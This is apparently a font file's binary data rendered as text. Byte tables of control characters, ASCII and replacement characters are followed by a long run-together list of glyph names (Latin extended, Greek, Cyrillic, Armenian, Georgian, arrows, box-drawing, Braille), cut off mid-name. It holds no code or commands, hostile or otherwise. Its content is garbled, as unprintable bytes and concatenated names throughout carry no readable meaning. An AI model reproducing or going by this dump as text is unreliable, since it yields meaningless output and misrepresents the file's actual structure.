																			 	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�









	�























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������









	























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	sfthyphenAmacronamacronAbreveabreveAogonekaogonekCcircumflexccircumflex
Cdotaccent
cdotaccentDcarondcaronDcroatEmacronemacronEbreveebreve
Edotaccent
edotaccentEogonekeogonekEcaronecaronGcircumflexgcircumflex
Gdotaccent
gdotaccentGcommaaccentgcommaaccentHcircumflexhcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonekIJijJcircumflexjcircumflexKcommaaccentkcommaaccentkgreenlandicLacutelacuteLcommaaccentlcommaaccentLcaronlcaronLdotldotNacutenacuteNcommaaccentncommaaccentNcaronncaronnapostropheEngengOmacronomacronObreveobreve
Ohungarumlaut
ohungarumlautRacuteracuteRcommaaccentrcommaaccentRcaronrcaronSacutesacuteScircumflexscircumflexTcommaaccenttcommaaccentTcarontcaronTbartbarUtildeutildeUmacronumacronUbreveubreveUringuring
Uhungarumlaut
uhungarumlautUogonekuogonekWcircumflexwcircumflexYcircumflexycircumflexZacutezacute
Zdotaccent
zdotaccentlongsuni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni018Funi0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019FOhornohornuni01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEUhornuhornuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01C4uni01C5uni01C6uni01C7uni01C8uni01C9uni01CAuni01CBuni01CCuni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni01DDuni01DEuni01DFuni01E0uni01E1uni01E2uni01E3uni01E4uni01E5Gcarongcaronuni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F0uni01F1uni01F2uni01F3uni01F4uni01F5uni01F6uni01F7uni01F8uni01F9
Aringacute
aringacuteAEacuteaeacuteOslashacuteoslashacuteuni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217Scommaaccentscommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0220uni0221uni0222uni0223uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0234uni0235uni0236dotlessjuni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0242uni0243uni0244uni0245uni0246uni0247uni0248uni0249uni024Auni024Buni024Cuni024Duni024Euni024Funi0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni0259uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02AEuni02AFuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BAuni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C2uni02C3uni02C4uni02C5uni02C8uni02C9uni02CAuni02CBuni02CCuni02CDuni02D0uni02D1uni02D2uni02D3uni02D6uni02D7uni02DEuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02ECuni02EEuni02EFuni02F0uni02F3uni02F7	gravecomb	acutecombuni0302	tildecombuni0304uni0305uni0306uni0307uni0308
hookabovecombuni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322dotbelowcombuni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0343uni034Funi0358uni0360uni0361uni0370uni0371uni0372uni0373uni0374uni0375uni0376uni0377uni037Auni037Buni037Cuni037Duni037Euni037Ftonos
dieresistonos
Alphatonos	anoteleiaEpsilontonosEtatonos	IotatonosOmicrontonosUpsilontonos
OmegatonosiotadieresistonosAlphaBetaGammauni0394EpsilonZetaEtaThetaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonPhiChiPsiIotadieresisUpsilondieresis
alphatonosepsilontonosetatonos	iotatonosupsilondieresistonosalphabetagammadeltaepsilonzetaetathetaiotakappalambdauni03BCnuxiomicronrhosigma1sigmatauupsilonphichipsiomegaiotadieresisupsilondieresisomicrontonosupsilontonos
omegatonosuni03CFuni03D0theta1Upsilon1uni03D3uni03D4phi1omega1uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni03F7uni03F8uni03F9uni03FAuni03FBuni03FCuni03FDuni03FEuni03FFuni0400uni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Duni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0450uni0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Duni045Euni045Funi0462uni0463uni0464uni0465uni046Auni046Buni046Cuni046Duni0470uni0471uni0472uni0473uni0474uni0475uni0476uni0477uni048Cuni048Duni0490uni0491uni0492uni0493uni0494uni0495uni0496uni0497uni0498uni0499uni049Auni049Buni049Euni049Funi04A0uni04A1uni04A2uni04A3uni04A4uni04A5uni04A6uni04A7uni04AAuni04ABuni04ACuni04ADuni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04B4uni04B5uni04B6uni04B7uni04BAuni04BBuni04C0uni04C1uni04C2uni04C3uni04C4uni04C7uni04C8uni04CBuni04CCuni04CFuni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04D8uni04D9uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04E8uni04E9uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F6uni04F7uni04F8uni04F9uni0510uni0511uni0512uni0513uni0514uni0515uni051Auni051Buni051Cuni051Duni0531uni0532uni0533uni0534uni0535uni0536uni0537uni0538uni0539uni053Auni053Buni053Cuni053Duni053Euni053Funi0540uni0541uni0542uni0543uni0544uni0545uni0546uni0547uni0548uni0549uni054Auni054Buni054Cuni054Duni054Euni054Funi0550uni0551uni0552uni0553uni0554uni0555uni0556uni0559uni055Auni055Buni055Cuni055Duni055Euni055Funi0561uni0562uni0563uni0564uni0565uni0566uni0567uni0568uni0569uni056Auni056Buni056Cuni056Duni056Euni056Funi0570uni0571uni0572uni0573uni0574uni0575uni0576uni0577uni0578uni0579uni057Auni057Buni057Cuni057Duni057Euni057Funi0580uni0581uni0582uni0583uni0584uni0585uni0586uni0587uni0589uni058Auni0E3Funi10A0uni10A1uni10A2uni10A3uni10A4uni10A5uni10A6uni10A7uni10A8uni10A9uni10AAuni10ABuni10ACuni10ADuni10AEuni10AFuni10B0uni10B1uni10B2uni10B3uni10B4uni10B5uni10B6uni10B7uni10B8uni10B9uni10BAuni10BBuni10BCuni10BDuni10BEuni10BFuni10C0uni10C1uni10C2uni10C3uni10C4uni10C5uni10D0uni10D1uni10D2uni10D3uni10D4uni10D5uni10D6uni10D7uni10D8uni10D9uni10DAuni10DBuni10DCuni10DDuni10DEuni10DFuni10E0uni10E1uni10E2uni10E3uni10E4uni10E5uni10E6uni10E7uni10E8uni10E9uni10EAuni10EBuni10ECuni10EDuni10EEuni10EFuni10F0uni10F1uni10F2uni10F3uni10F4uni10F5uni10F6uni10F7uni10F8uni10F9uni10FAuni10FBuni10FCuni1D00uni1D01uni1D02uni1D03uni1D04uni1D05uni1D06uni1D07uni1D08uni1D09uni1D0Auni1D0Buni1D0Cuni1D0Duni1D0Euni1D0Funi1D10uni1D11uni1D12uni1D13uni1D14uni1D15uni1D16uni1D17uni1D18uni1D19uni1D1Auni1D1Buni1D1Cuni1D1Duni1D1Euni1D1Funi1D20uni1D21uni1D22uni1D23uni1D24uni1D25uni1D26uni1D27uni1D28uni1D29uni1D2Auni1D2Buni1D2Cuni1D2Duni1D2Euni1D2Funi1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Duni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D5Cuni1D5Duni1D5Euni1D5Funi1D60uni1D61uni1D62uni1D63uni1D64uni1D65uni1D66uni1D67uni1D68uni1D69uni1D6Auni1D6Buni1D77uni1D78uni1D7Buni1D7Cuni1D7Duni1D7Euni1D7Funi1D85uni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB8uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1DC4uni1DC5uni1DC6uni1DC7uni1DC8uni1DC9uni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E14uni1E15uni1E16uni1E17uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E2Euni1E2Funi1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E4Euni1E4Funi1E50uni1E51uni1E52uni1E53uni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E64uni1E65uni1E66uni1E67uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Auni1E7Buni1E7Cuni1E7Duni1E7Euni1E7FWgravewgraveWacutewacute	Wdieresis	wdieresisuni1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Auni1E9Buni1E9Cuni1E9Duni1E9Euni1E9Funi1EA0uni1EA1uni1EA2uni1EA3uni1EA4uni1EA5uni1EA6uni1EA7uni1EA8uni1EA9uni1EAAuni1EABuni1EACuni1EADuni1EAEuni1EAFuni1EB0uni1EB1uni1EB2uni1EB3uni1EB4uni1EB5uni1EB6uni1EB7uni1EB8uni1EB9uni1EBAuni1EBBuni1EBCuni1EBDuni1EBEuni1EBFuni1EC0uni1EC1uni1EC2uni1EC3uni1EC4uni1EC5uni1EC6uni1EC7uni1EC8uni1EC9uni1ECAuni1ECBuni1ECCuni1ECDuni1ECEuni1ECFuni1ED0uni1ED1uni1ED2uni1ED3uni1ED4uni1ED5uni1ED6uni1ED7uni1ED8uni1ED9uni1EDAuni1EDBuni1EDCuni1EDDuni1EDEuni1EDFuni1EE0uni1EE1uni1EE2uni1EE3uni1EE4uni1EE5uni1EE6uni1EE7uni1EE8uni1EE9uni1EEAuni1EEBuni1EECuni1EEDuni1EEEuni1EEFuni1EF0uni1EF1Ygraveygraveuni1EF4uni1EF5uni1EF6uni1EF7uni1EF8uni1EF9uni1EFAuni1EFBuni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni200Buni200Cuni200Duni200Euni200Funi2010uni2011
figuredashuni2015uni2016
underscoredbl
quotereverseduni201Funi2023onedotenleadertwodotenleaderuni202Auni202Buni202Cuni202Duni202Euni202Funi2031minuteseconduni2034uni2035uni2036uni2037uni2038	exclamdbluni203Duni203Euni2042uni2045uni2046uni2047uni2048uni2049uni204Buni204Cuni204Duni204Euni204Funi2051uni2052uni2053uni2057uni205Funi2060uni2061uni2062uni2063uni2064uni206Auni206Buni206Cuni206Duni206Euni206Funi2070uni2071uni2074uni2075uni2076uni2077uni2078uni2079uni207Auni207Buni207Cuni207Duni207Euni207Funi2080uni2081uni2082uni2083uni2084uni2085uni2086uni2087uni2088uni2089uni208Auni208Buni208Cuni208Duni208Euni2090uni2091uni2092uni2093uni2094uni2095uni2096uni2097uni2098uni2099uni209Auni209Buni209Cuni20A6Eurouni20AFuni20B1uni20B4uni20B5uni20B8uni20B9uni20BAuni20BDuni2103uni2109uni210Euni210Funi2116uni2126uni2127uni212Auni212Buni2132uni2141uni2142uni2143uni2144uni214Buni214Euni2150uni2151uni2152onethird	twothirdsuni2155uni2156uni2157uni2158uni2159uni215A	oneeighththreeeighthsfiveeighthsseveneighthsuni215Funi2160uni2161uni2162uni2163uni2164uni2165uni2166uni2167uni2168uni2169uni216Auni216Buni216Cuni216Duni216Euni216Funi2170uni2171uni2172uni2173uni2174uni2175uni2176uni2177uni2178uni2179uni217Auni217Buni217Cuni217Duni217Euni217Funi2180uni2181uni2182uni2183uni2184uni2185uni2189	arrowleftarrowup
arrowright	arrowdown	arrowboth	arrowupdnuni2196uni2197uni2198uni2199uni219Auni219Buni219Cuni219Duni219Euni219Funi21A0uni21A1uni21A2uni21A3uni21A4uni21A5uni21A6uni21A7arrowupdnbseuni21A9uni21AAuni21ABuni21ACuni21ADuni21AEuni21AFuni21B0uni21B1uni21B2uni21B3uni21B4carriagereturnuni21B6uni21B7uni21B8uni21B9uni21BAuni21BBuni21BCuni21BDuni21BEuni21BFuni21C0uni21C1uni21C2uni21C3uni21C4uni21C5uni21C6uni21C7uni21C8uni21C9uni21CAuni21CBuni21CCuni21CDuni21CEuni21CFarrowdblleft
arrowdblup
arrowdblrightarrowdbldownarrowdblbothuni21D5uni21D6uni21D7uni21D8uni21D9uni21DAuni21DBuni21DCuni21DDuni21DEuni21DFuni21E0uni21E1uni21E2uni21E3uni21E4uni21E5uni21E6uni21E7uni21E8uni21E9uni21EAuni21EBuni21ECuni21EDuni21EEuni21EFuni21F0uni21F1uni21F2uni21F3uni21F4uni21F5uni21F6uni21F7uni21F8uni21F9uni21FAuni21FBuni21FCuni21FDuni21FEuni21FF	universalexistentialuni2204gradientelement
notelementsuchthatuni220Cuni2210uni2213uni2214uni2215asteriskmathuni2218uni2219uni221Buni221Cproportional
orthogonalangleuni2223uni2224uni2225uni2226
logicaland	logicalorintersectionunionuni222Cuni222Duni2238uni2239uni223Auni223Bsimilaruni223Duni2242uni2243uni2250uni2251uni2252uni2253uni2254uni2255equivalencepropersubsetpropersuperset	notsubsetuni2285reflexsubsetreflexsupersetuni228Cuni228Duni228Euni228Funi2290uni2291uni2292uni2293uni2294
circleplusuni2296circlemultiplyuni2298uni2299uni229Auni229Buni229Cuni229Duni229Euni229Funi22A0uni22A1uni22A2uni22A3uni22A4
perpendicularuni22A6uni22A7uni22A8uni22A9uni22AAuni22ABuni22ACuni22ADuni22AEuni22AFuni22C4dotmathhouseuni2308uni2309uni230Auni230B
revlogicalnotuni2311uni2318uni2319
integraltp
integralbtuni2325uni2328uni237Duni239Buni239Cuni239Duni239Euni239Funi23A0uni23A1uni23A2uni23A3uni23A4uni23A5uni23A6uni23A7uni23A8uni23A9uni23AAuni23ABuni23ACuni23ADuni23AEuni23CFuni2423SF100000uni2501SF110000uni2503uni2504uni2505uni2506uni2507uni2508uni2509uni250Auni250BSF010000uni250Duni250Euni250FSF030000uni2511uni2512uni2513SF020000uni2515uni2516uni2517SF040000uni2519uni251Auni251BSF080000uni251Duni251Euni251Funi2520uni2521uni2522uni2523SF090000uni2525uni2526uni2527uni2528uni2529uni252Auni252BSF060000uni252Duni252Euni252Funi2530uni2531uni2532uni2533SF070000uni2535uni2536uni2537uni2538uni2539uni253Auni253BSF050000uni253Duni253Euni253Funi2540uni2541uni2542uni2543uni2544uni2545uni2546uni2547uni2548uni2549uni254Auni254Buni254Cuni254Duni254Euni254FSF430000SF240000SF510000SF520000SF390000SF220000SF210000SF250000SF500000SF490000SF380000SF280000SF270000SF260000SF360000SF370000SF420000SF190000SF200000SF230000SF470000SF480000SF410000SF450000SF460000SF400000SF540000SF530000SF440000uni256Duni256Euni256Funi2570uni2571uni2572uni2573uni2574uni2575uni2576uni2577uni2578uni2579uni257Auni257Buni257Cuni257Duni257Euni257Fupblockuni2581uni2582uni2583dnblockuni2585uni2586uni2587blockuni2589uni258Auni258Blfblockuni258Duni258Euni258Frtblockltshadeshadedkshadeuni2594uni2595uni2596uni2597uni2598uni2599uni259Auni259Buni259Cuni259Duni259Euni259F	filledboxH22073uni25A2uni25A3uni25A4uni25A5uni25A6uni25A7uni25A8uni25A9H18543H18551
filledrectuni25ADuni25AEuni25AFuni25B0uni25B1triagupuni25B3uni25B4uni25B5uni25B6uni25B7uni25B8uni25B9triagrtuni25BBtriagdnuni25BDuni25BEuni25BFuni25C0uni25C1uni25C2uni25C3triaglfuni25C5uni25C6uni25C7uni25C8uni25C9circleuni25CCuni25CDuni25CEH18533uni25D0uni25D1uni25D2uni25D3uni25D4uni25D5uni25D6uni25D7	invbullet	invcircleuni25DAuni25DBuni25DCuni25DDuni25DEuni25DFuni25E0uni25E1uni25E2uni25E3uni25E4uni25E5
openbulletuni25E7uni25E8uni25E9uni25EAuni25EBuni25ECuni25EDuni25EEuni25EFuni25F0uni25F1uni25F2uni25F3uni25F4uni25F5uni25F6uni25F7uni25F8uni25F9uni25FAuni25FBuni25FCuni25FDuni25FEuni25FFuni2600uni2638uni2639	smilefaceinvsmilefacesununi263Ffemaleuni2641maleuni2643uni2644uni2645uni2646uni2647spadeuni2661uni2662clubuni2664heartdiamonduni2667uni2669musicalnotemusicalnotedbluni266Cuni266Duni266Euni266Funi27A1uni27C5uni27C6uni27E0uni27E8uni27E9uni27F0uni27F1uni27F2uni27F3uni27F4uni27F5uni27F6uni27F7uni27F8uni27F9uni27FAuni27FBuni27FCuni27FDuni27FEuni27FFuni2800uni2801uni2802uni2803uni2804uni2805uni2806uni2807uni2808uni2809uni280Auni280Buni280Cuni280Duni280Euni280Funi2810uni2811uni2812uni2813uni2814uni2815uni2816uni2817uni2818uni2819uni281Auni281Buni281Cuni281Duni281Euni281Funi2820uni2821uni2822uni2823uni2824uni2825uni2826uni2827uni2828uni2829uni282Auni282Buni282Cuni282Duni282Euni282Funi2830uni2831uni2832uni2833uni2834uni2835uni2836uni2837uni2838uni2839uni283Auni283Buni283Cuni283Duni283Euni283Funi2840uni2841uni2842uni2843uni2844uni2845uni2846uni2847uni2848uni2849uni284Auni284Buni284Cuni284Duni284Euni284Funi2850uni2851uni2852uni2853uni2854uni2855uni2856uni2857uni2858uni2859uni285Auni285Buni285Cuni285Duni285Euni285Funi2860uni2861uni2862uni2863uni2864uni2865uni2866uni2867uni2868uni2869uni286Auni286Buni286Cuni286Duni286Euni286Funi2870uni2871uni2872uni2873uni2874uni2875uni2876uni2877uni2878uni2879uni287Auni287Buni287Cuni287Duni287Euni287Funi2880uni2881uni2882uni2883uni2884uni2885uni2886uni2887uni2888uni2889uni288Auni288Buni288Cuni288Duni288Euni288Funi2890uni2891uni2892uni2893uni2894uni2895uni2896uni2897uni2898uni2899uni289Auni289Buni289Cuni289Duni289Euni289Funi28A0uni28A1uni28A2uni28A3uni28A4uni28A5uni28A6uni28A7uni28A8uni28A9uni28AAuni28ABuni28ACuni28ADuni28AEuni28AFuni28B0uni28B1uni28B2uni28B3uni28B4uni28B5uni28B6uni28B7uni28B8uni28B9uni28BAuni28BBuni28BCuni28BDuni28BEuni28BFuni28C0uni28C1uni28C2uni28C3uni28C4uni28C5uni28C6uni28C7uni28C8uni28C9uni28CAuni28CBuni28CCuni28CDuni28CEuni28CFuni28D0uni28D1uni28D2uni28D3uni28D4uni28D5uni28D6uni28D7uni28D8uni28D9uni28DAuni28DBuni28DCuni28DDuni28DEuni28DFuni28E0uni28E1uni28E2uni28E3uni28E4uni28E5uni28E6uni28E7uni28E8uni28E9uni28EAuni28EBuni28ECuni28EDuni28EEuni28EFuni28F0uni28F1uni28F2uni28F3uni28F4uni28F5uni28F6uni28F7uni28F8uni28F9uni28FAuni28FBuni28FCuni28FDuni28FEuni28FFuni2900uni2901uni2902uni2903uni2904uni2905uni2906uni2907uni2908uni2909uni290Auni290Buni290Cuni290Duni290Euni290Funi2910uni2911uni2912uni2913uni2914uni2915uni2916uni2917uni2918uni2919uni291Auni291Buni291Cuni291Duni291Euni291Funi2920uni2921uni2922uni2923uni2924uni2925uni2926uni2927uni2928uni2929uni292Auni292Buni292Cuni292Duni292Euni292Funi2930uni2931uni2932uni2933uni2934uni2935uni2936uni2937uni2938uni2939uni293Auni293Buni293Cuni293Duni293Euni293Funi2940uni2941uni2942uni2943uni2944uni2945uni2946uni2947uni2948uni2949uni294Auni294Buni294Cuni294Duni294Euni294Funi2950uni2951uni2952uni2953uni2954uni2955uni2956uni2957uni2958uni2959uni295Auni295Buni295Cuni295Duni295Euni295Funi2960uni2961uni2962uni2963uni2964uni2965uni2966uni2967uni2968uni2969uni296Auni296Buni296Cuni296Duni296Euni296Funi2970uni2971uni2972uni2973uni2974uni2975uni2976uni2977uni2978uni2979uni297Auni297Buni297Cuni297Duni297Euni297Funi29EBuni2A0Cuni2A0Duni2A0Euni2A2Funi2A6Auni2A6Buni2B00uni2B01uni2B02uni2B03uni2B04uni2B05uni2B06uni2B07uni2B08uni2B09uni2B0Auni2B0Buni2B0Cuni2B0Duni2B0Euni2B0Funi2B10uni2B11uni2B12uni2B13uni2B14uni2B15uni2B16uni2B17uni2B18uni2B19uni2B1Auni2C60uni2C61uni2C63uni2C64uni2C67uni2C68uni2C69uni2C6Auni2C6Buni2C6Cuni2C6Duni2C6Euni2C6Funi2C70uni2C71uni2C72uni2C73uni2C75uni2C76uni2C77uni2C79uni2C7Auni2C7Buni2C7Cuni2C7Duni2C7Euni2C7Funi2D00uni2D01uni2D02uni2D03uni2D04uni2D05uni2D06uni2D07uni2D08uni2D09uni2D0Auni2D0Buni2D0Cuni2D0Duni2D0Euni2D0Funi2D10uni2D11uni2D12uni2D13uni2D14uni2D15uni2D16uni2